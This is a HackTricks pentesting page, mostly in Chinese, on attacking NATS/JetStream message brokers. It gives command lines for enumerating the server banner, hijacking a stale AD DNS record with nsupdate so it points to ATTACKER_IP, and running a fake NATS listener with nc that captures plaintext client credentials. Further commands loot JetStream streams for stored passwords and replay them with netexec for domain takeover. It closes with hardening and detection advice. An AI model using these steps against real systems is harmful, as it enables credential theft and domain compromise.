4222 - Pentesting NATS / JetStream

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

NATS 是一个高性能的消息总线,使用简单的文本协议:服务器在 TCP 连接后立即发送 INFO { ... } JSON 横幅,客户端会回复 CONNECT {"user":"USERNAME","pass":"PASSWORD",...} 帧,随后可选地发送 PING/PUB/SUB 命令。JetStream 在相同的 TCP 端口(4222/tcp)上增加了持久化原语(Streams & Consumers)。TLS 和认证是可选的,因此许多内部部署运行 plaintext AUTH

  • 默认端口: 4222/tcp (4223+ for clustered routes)
  • 默认横幅字段: "version", "auth_required", "jetstream", "max_payload", "tls_required"

枚举

nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open  nats  NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}

INFO frame 也可以手动拉取:

echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'

安装官方 CLI (Go ≥1.21) 以进行更深入的交互:

go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt

身份验证失败会立即触发 nats: Authorization Violation,因此任何有意义的 RPC 都需要有效的凭据。

通过 DNS/服务冒充 捕获凭据

  • 识别 broker 主机名的陈旧 AD DNS 条目(例如 nats-svc.domain.local)。如果该记录返回 NXDOMAIN,低权限域用户可以利用默认的 dynamic-update ACLs 重新创建它。有关背景,请参阅 AD DNS Records abuse
  • 将该主机名注册到攻击者控制的 IP:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
  • 将合法横幅镜像一次,然后对每个连接的客户端重放。NATS 信任它看到的第一行 INFO,因此我们只需通过一个监听器将其管道传递即可:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
  • 一旦内部客户端解析被劫持的名称,它就会发送一个明文的 CONNECT 帧,包含 user / pass 对以及各种遥测信息(客户端名称、Go 版本、协议级别)。由于 INFO banner 之后的内容并非必需,甚至使用 nc 就足以收集这些秘密。
  • 对于较长的工作,建议在本地运行官方服务器(git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V)。TRACE 日志已经会显示用户名;移除 redaction helper 或使用 Wireshark 抓包可以暴露完整的 password。

JetStream looting & password hunting

一旦恢复到任何凭证(例如 Dev_Account_A),将其存为 CLI 上下文以避免重复输入:

nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'

JetStream 发现通常遵循以下模式:

nats account info --context mirage      # quotas, stream count, expiration
nats stream list --context mirage       # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage

流处理团队经常将身份验证事件记录到诸如 logs.auth 的主题。如果开发人员将原始 JSON 持久化到 JetStream 流中,负载可能包含明文的 AD 用户名和密码:

{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}

保留的 secrets 然后可以使用 netexec smb DC01 -u USER -p PASS -k 对仅使用 Kerberos 的服务进行重放,从而实现对整个域的完全控制。

加固与检测

  • Enforce TLS (tls, tls_required, or mTLS via nkey/creds)。未加密时,INFO/CONNECT leaks credentials 给任何 on-path 的人。
  • Pinpoint who can update DNS – 将 service records 委派给专用账户,并对高价值主机名审核 Event IDs 257/252。结合 scavenging alerts,以避免缺失的 broker 名称被悄然重新认领。
  • Disable credential logging。在向 subjects 发布前清理 secrets,设置 JetStream retention/age limits,并且仅对受信任的操作员应用 deny_delete=false
  • Monitor for banner anomalies – 反复出现的短期连接、authentication timeouts,或与受信任模板不匹配的 INFO banners 都可能表明服务器被 spoofed。

参考

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks